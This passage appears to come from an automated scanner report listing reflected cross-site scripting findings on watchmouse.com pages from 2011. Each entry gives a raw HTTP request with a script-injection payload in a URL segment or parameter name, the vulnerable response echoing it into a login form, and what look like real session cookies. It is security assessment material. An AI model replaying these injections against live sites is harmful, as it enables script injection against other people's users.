The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d41c"><script>alert(1)</script>cd1ff4d8ca5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sv/?5d41c"><script>alert(1)</script>cd1ff4d8ca5=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:30 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-sv-b2c0da4a5fee886b751687a7009c507f"
Content-Language: sv
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18443

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/sv/?5d41c"><script>alert(1)</script>cd1ff4d8ca5=1" method="post">
...[SNIP]...

1.744. http://www.watchmouse.com/sv/feature/public-status-page.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/feature/public-status-page.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60e2a"><script>alert(1)</script>7f88d842f60 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /sv60e2a"><script>alert(1)</script>7f88d842f60/feature/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:58 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-c1665dbb1d6f599c4ad4c47a78f1aa1a"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/sv60e2a"><script>alert(1)</script>7f88d842f60/feature/public-status-page.html" method="post">
...[SNIP]...

1.745. http://www.watchmouse.com/sv/feature/public-status-page.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/feature/public-status-page.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10a0e"><script>alert(1)</script>364fa9b628a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sv/feature10a0e"><script>alert(1)</script>364fa9b628a/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:59 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-sv-5b898cc38a60cc4551ea32b08b4509f1"
Content-Language: sv
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13412

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/sv/feature10a0e"><script>alert(1)</script>364fa9b628a/public-status-page.html" method="post">
...[SNIP]...

1.746. http://www.watchmouse.com/sv/feature/public-status-page.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/feature/public-status-page.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4935e"><script>alert(1)</script>f863f9a6936 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sv/feature/public-status-page.html4935e"><script>alert(1)</script>f863f9a6936 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:00 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-sv-717b5ac97a358901b8ddc13c81df38ad"
Content-Language: sv
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13412

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/sv/feature/public-status-page.html4935e"><script>alert(1)</script>f863f9a6936" method="post">
...[SNIP]...

1.747. http://www.watchmouse.com/sv/feature/the-watchmouse-api.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c394"><script>alert(1)</script>6178effa0fa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /sv6c394"><script>alert(1)</script>6178effa0fa/feature/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:41 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-b230b597d00002f4b13e7ecc9f5ecfff"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/sv6c394"><script>alert(1)</script>6178effa0fa/feature/the-watchmouse-api.html" method="post">
...[SNIP]...

1.748. http://www.watchmouse.com/sv/feature/the-watchmouse-api.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bddad"><script>alert(1)</script>7b477514427 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sv/featurebddad"><script>alert(1)</script>7b477514427/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:42 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-sv-2a8b0c0f75fbf6b81094f64a113620b4"
Content-Language: sv
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13412

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/sv/featurebddad"><script>alert(1)</script>7b477514427/the-watchmouse-api.html" method="post">
...[SNIP]...

1.749. http://www.watchmouse.com/sv/feature/the-watchmouse-api.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf6b9"><script>alert(1)</script>a0f175991b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sv/feature/the-watchmouse-api.htmlcf6b9"><script>alert(1)</script>a0f175991b HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:48 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-sv-2018c4dd5c5ad6635a5897f1ace61322"
Content-Language: sv
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13403

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/sv/feature/the-watchmouse-api.htmlcf6b9"><script>alert(1)</script>a0f175991b" method="post">
...[SNIP]...

1.750. http://www.watchmouse.com/sv/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 361f5"><script>alert(1)</script>b14f6f1d9a3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /sv361f5"><script>alert(1)</script>b14f6f1d9a3/feature/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:41 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-ba11599f921e2302530f58964bba4a03"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13505

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/sv361f5"><script>alert(1)</script>b14f6f1d9a3/feature/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.751. http://www.watchmouse.com/sv/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5f1d"><script>alert(1)</script>3085df5bea6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sv/featuree5f1d"><script>alert(1)</script>3085df5bea6/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:44 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-sv-0db226416a921847934cfd5de5d62c84"
Content-Language: sv
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13664

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/sv/featuree5f1d"><script>alert(1)</script>3085df5bea6/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.752. http://www.watchmouse.com/sv/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33e81"><script>alert(1)</script>e365c61453 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sv/feature/transaction-monitoring-web-application-testing.html33e81"><script>alert(1)</script>e365c61453 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:50 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-sv-315ebed3ad7e4bc687828ea75ee1cc0c"
Content-Language: sv
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13655

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/sv/feature/transaction-monitoring-web-application-testing.html33e81"><script>alert(1)</script>e365c61453" method="post">
...[SNIP]...

1.753. http://www.watchmouse.com/sv/feature/transaction-monitoring-web-application-testing.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/feature/transaction-monitoring-web-application-testing.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0486"><script>alert(1)</script>95bd477454b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sv/feature/transaction-monitoring-web-application-testing.html?a0486"><script>alert(1)</script>95bd477454b=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:38 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-sv-c33e9f7a2b06602d2af87740463b353d"
Content-Language: sv
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 24205

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head><tit
...[SNIP]...
<form id="login_form" action="/sv/feature/transaction-monitoring-web-application-testing.html?a0486"><script>alert(1)</script>95bd477454b=1" method="post">
...[SNIP]...

1.754. http://www.watchmouse.com/sv/learn_more.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/learn_more.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc1f1"><script>alert(1)</script>0fa1d223086 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /svcc1f1"><script>alert(1)</script>0fa1d223086/learn_more.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:54 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-0a1f028ec9fa359dc956eb7c566a65f8"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/svcc1f1"><script>alert(1)</script>0fa1d223086/learn_more.php" method="post">
...[SNIP]...

1.755. http://www.watchmouse.com/sv/learn_more.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/learn_more.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e02a9"><script>alert(1)</script>3fa1856eed was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sv/learn_more.phpe02a9"><script>alert(1)</script>3fa1856eed HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:57 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-sv-0ac269afc7cf58ab9fc3eebb3ce91a65"
Content-Language: sv
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13250

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/sv/learn_more.phpe02a9"><script>alert(1)</script>3fa1856eed" method="post">
...[SNIP]...

1.756. http://www.watchmouse.com/sv/learn_more.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/sv/learn_more.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 514cc"><script>alert(1)</script>8d33407b070 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sv/learn_more.php?514cc"><script>alert(1)</script>8d33407b070=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:46 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 12:09:46 GMT
Content-Language: sv
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45895

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/sv/learn_more.php?514cc"><script>alert(1)</script>8d33407b070=1" method="post">
...[SNIP]...

1.757. http://www.watchmouse.com/sv/plans_price.php [REST URL parameter 1] previous next

Summary

